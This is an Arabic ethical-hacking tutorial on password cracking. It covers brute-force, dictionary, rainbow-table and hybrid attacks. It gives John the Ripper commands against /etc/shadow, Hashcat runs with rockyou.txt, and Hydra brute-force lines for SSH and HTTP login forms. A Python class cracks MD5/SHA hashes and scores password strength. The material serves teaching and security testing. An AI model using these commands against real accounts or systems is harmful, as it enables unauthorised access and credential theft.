كسر كلمات المرور — الاختراق الأخلاقي
كسر كلمات المرور
لماذا كسر كلمات المرور؟
- اختبار قوة سياسات كلمات المرور
- استعادة كلمات مرور منسية (قانونياً)
- اختبار أمان المؤسسة
أنواع الهجمات
1. Brute Force
تجربة كل الاحتمالات
a → aa → aaa → ... → zzzzzzzz- بطيء جداً
- مضمون النجاح (نظرياً)
2. Dictionary Attack
قائمة كلمات شائعة
password
123456
admin
letmein
...- أسرع بكثير
- يعتمد على جودة القائمة
3. Rainbow Tables
جداول هاشات محسوبة مسبقاً
- سريع جداً
- يحتاج مساحة تخزين كبيرة
- لا يعمل مع Salt!
4. Hybrid Attack
دمج Dictionary مع قواعد
password → password1 → Password1 → P@ssword1الأدوات الشهيرة
John the Ripper
# كسر ملف passwd
john /etc/shadow
# مع wordlist
john --wordlist=rockyou.txt hashes.txt
# عرض النتائج
john --show hashes.txtHashcat
# كسر MD5 مع wordlist
hashcat -m 0 -a 0 hash.txt rockyou.txt
# كسر مع قواعد
hashcat -m 0 -a 0 hash.txt rockyou.txt -r rules.ruleHydra (للخدمات)
# SSH
hydra -l admin -P passwords.txt ssh://target
# HTTP POST
hydra -l admin -P passwords.txt target http-post-form "/login:user=^USER^&pass=^PASS^:Invalid"Wordlists الشهيرة
- rockyou.txt: 14 مليون كلمة
- SecLists: مجموعة ضخمة
- CrackStation: أكبر قائمة
# أدوات كسر كلمات المرور (للتعليم)
import hashlib
import itertools
import string
import time
class PasswordCracker:
"""
أدوات كسر كلمات المرور للتعليم
⚠️ للاستخدام الأخلاقي فقط!
"""
def __init__(self):
self.common_passwords = [
'password', '123456', '12345678', 'qwerty', 'abc123',
'monkey', '1234567', 'letmein', 'trustno1', 'dragon',
'baseball', 'iloveyou', 'master', 'sunshine', 'ashley',
'bailey', 'shadow', '123123', '654321', 'superman',
'qazwsx', 'michael', 'football', 'password1', 'password123',
'admin', 'admin123', 'root', 'toor', 'pass',
'test', 'guest', 'master', 'changeme', 'welcome'
]
def hash_password(self, password, algorithm='md5'):
"""حساب hash لكلمة مرور"""
if algorithm == 'md5':
return hashlib.md5(password.encode()).hexdigest()
elif algorithm == 'sha1':
return hashlib.sha1(password.encode()).hexdigest()
elif algorithm == 'sha256':
return hashlib.sha256(password.encode()).hexdigest()
else:
raise ValueError(f"Algorithm غير مدعوم: {algorithm}")
def dictionary_attack(self, target_hash, wordlist=None, algorithm='md5'):
"""
هجوم القاموس
"""
print(f"\n📖 هجوم Dictionary على: {target_hash[:20]}...")
if wordlist is None:
wordlist = self.common_passwords
start_time = time.time()
attempts = 0
for word in wordlist:
attempts += 1
word_hash = self.hash_password(word, algorithm)
if word_hash == target_hash:
elapsed = time.time() - start_time
print(f" ✅ وُجدت! الكلمة: {word}")
print(f" ⏱️ الوقت: {elapsed:.2f}s")
print(f" 📊 المحاولات: {attempts}")
return word
elapsed = time.time() - start_time
print(f" ❌ لم تُعثر على الكلمة")
print(f" ⏱️ الوقت: {elapsed:.2f}s")
print(f" 📊 المحاولات: {attempts}")
return None
def brute_force(self, target_hash, max_length=4, charset=None, algorithm='md5'):
"""
هجوم Brute Force
⚠️ بطيء جداً! للتعليم فقط
"""
print(f"\n🔨 هجوم Brute Force (max {max_length} أحرف)...")
if charset is None:
charset = string.ascii_lowercase + string.digits
start_time = time.time()
attempts = 0
for length in range(1, max_length + 1):
print(f" جاري فحص الأطوال: {length}...")
for combo in itertools.product(charset, repeat=length):
attempts += 1
password = ''.join(combo)
password_hash = self.hash_password(password, algorithm)
if password_hash == target_hash:
elapsed = time.time() - start_time
print(f" ✅ وُجدت! الكلمة: {password}")
print(f" ⏱️ الوقت: {elapsed:.2f}s")
print(f" 📊 المحاولات: {attempts}")
return password
# عرض التقدم كل مليون محاولة
if attempts % 1000000 == 0:
print(f" ... {attempts:,} محاولة")
elapsed = time.time() - start_time
print(f" ❌ لم تُعثر على الكلمة")
print(f" ⏱️ الوقت: {elapsed:.2f}s")
print(f" 📊 المحاولات: {attempts}")
return None
def rule_based_attack(self, target_hash, base_words, algorithm='md5'):
"""
هجوم مع قواعد تحويل
"""
print(f"\n🔧 هجوم Rule-Based...")
def apply_rules(word):
"""توليد variations من كلمة"""
variations = [word]
# أضف أرقام
for i in range(100):
variations.append(f"{word}{i}")
# أضف رموز
for symbol in ['!', '@', '#', '$', '*']:
variations.append(f"{word}{symbol}")
# Capitalize
variations.append(word.capitalize())
variations.append(word.upper())
# استبدالات شائعة
leet = word.replace('a', '@').replace('e', '3').replace('i', '1').replace('o', '0')
variations.append(leet)
variations.append(leet.capitalize())
return variations
attempts = 0
for word in base_words:
for variation in apply_rules(word):
attempts += 1
if self.hash_password(variation, algorithm) == target_hash:
print(f" ✅ وُجدت! الكلمة: {variation}")
print(f" 📊 المحاولات: {attempts}")
return variation
print(f" ❌ لم تُعثر على الكلمة ({attempts} محاولة)")
return None
def analyze_password_strength(self, password):
"""
تحليل قوة كلمة المرور
"""
print(f"\n🔍 تحليل: {'*' * len(password)}")
score = 0
feedback = []
# الطول
if len(password) >= 16:
score += 30
feedback.append("✅ طول ممتاز (16+)")
elif len(password) >= 12:
score += 20
feedback.append("✅ طول جيد (12+)")
elif len(password) >= 8:
score += 10
feedback.append("⚠️ طول مقبول (8+)")
else:
feedback.append("❌ قصيرة جداً!")
# التنوع
if any(c.islower() for c in password):
score += 10
else:
feedback.append("❌ أضف أحرف صغيرة")
if any(c.isupper() for c in password):
score += 15
else:
feedback.append("❌ أضف أحرف كبيرة")
if any(c.isdigit() for c in password):
score += 15
else:
feedback.append("❌ أضف أرقام")
if any(c in '!@#$%^&*()_+-=[]{}|;:,.<>?' for c in password):
score += 20
else:
feedback.append("❌ أضف رموز خاصة")
# كلمات شائعة
if password.lower() in self.common_passwords:
score = max(0, score - 50)
feedback.append("🔴 كلمة شائعة جداً!")
# التقييم
if score >= 70:
strength = "🟢 قوية"
elif score >= 50:
strength = "🟡 متوسطة"
else:
strength = "🔴 ضعيفة"
print(f" القوة: {strength} ({score}/100)")
for f in feedback:
print(f" {f}")
return score
# ===== عرض توضيحي =====
cracker = PasswordCracker()
# إنشاء hash للتجربة
test_password = "admin123"
test_hash = cracker.hash_password(test_password, 'md5')
print(f"\n🎯 Hash للاختبار: {test_hash}")
print(f" (الكلمة: {test_password})")
# هجوم Dictionary
cracker.dictionary_attack(test_hash)
# هجوم Rule-Based
rule_hash = cracker.hash_password("P@ssword1", 'md5')
cracker.rule_based_attack(rule_hash, ['password'], 'md5')
# تحليل كلمات مرور
passwords = ["123456", "admin", "MyP@ssw0rd!2024"]
for pwd in passwords:
cracker.analyze_password_strength(pwd)اختبر فهمك